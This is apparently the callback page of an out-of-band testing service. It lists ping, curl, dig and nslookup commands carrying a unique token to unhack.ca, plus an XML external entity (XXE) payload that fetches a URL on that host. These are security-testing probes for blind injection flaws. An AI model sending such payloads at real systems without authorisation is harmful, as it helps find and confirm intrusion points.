$ ping -c1 -p 008041d93162ca406018e442afd66800 unhack.ca
 
$ curl http://unhack.ca/p/8041d93162ca406018e442afd668
 
$ dig 8041d93162ca406018e442afd668 @unhack.ca
 
$ dig 8041d93162ca406018e442afd668.ns.unhack.ca
 
C:\> nslookup 8041d93162ca406018e442afd668 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8041d93162ca406018e442afd668">]>
    <foo>&xxe;</foo>
 
Waiting for ping...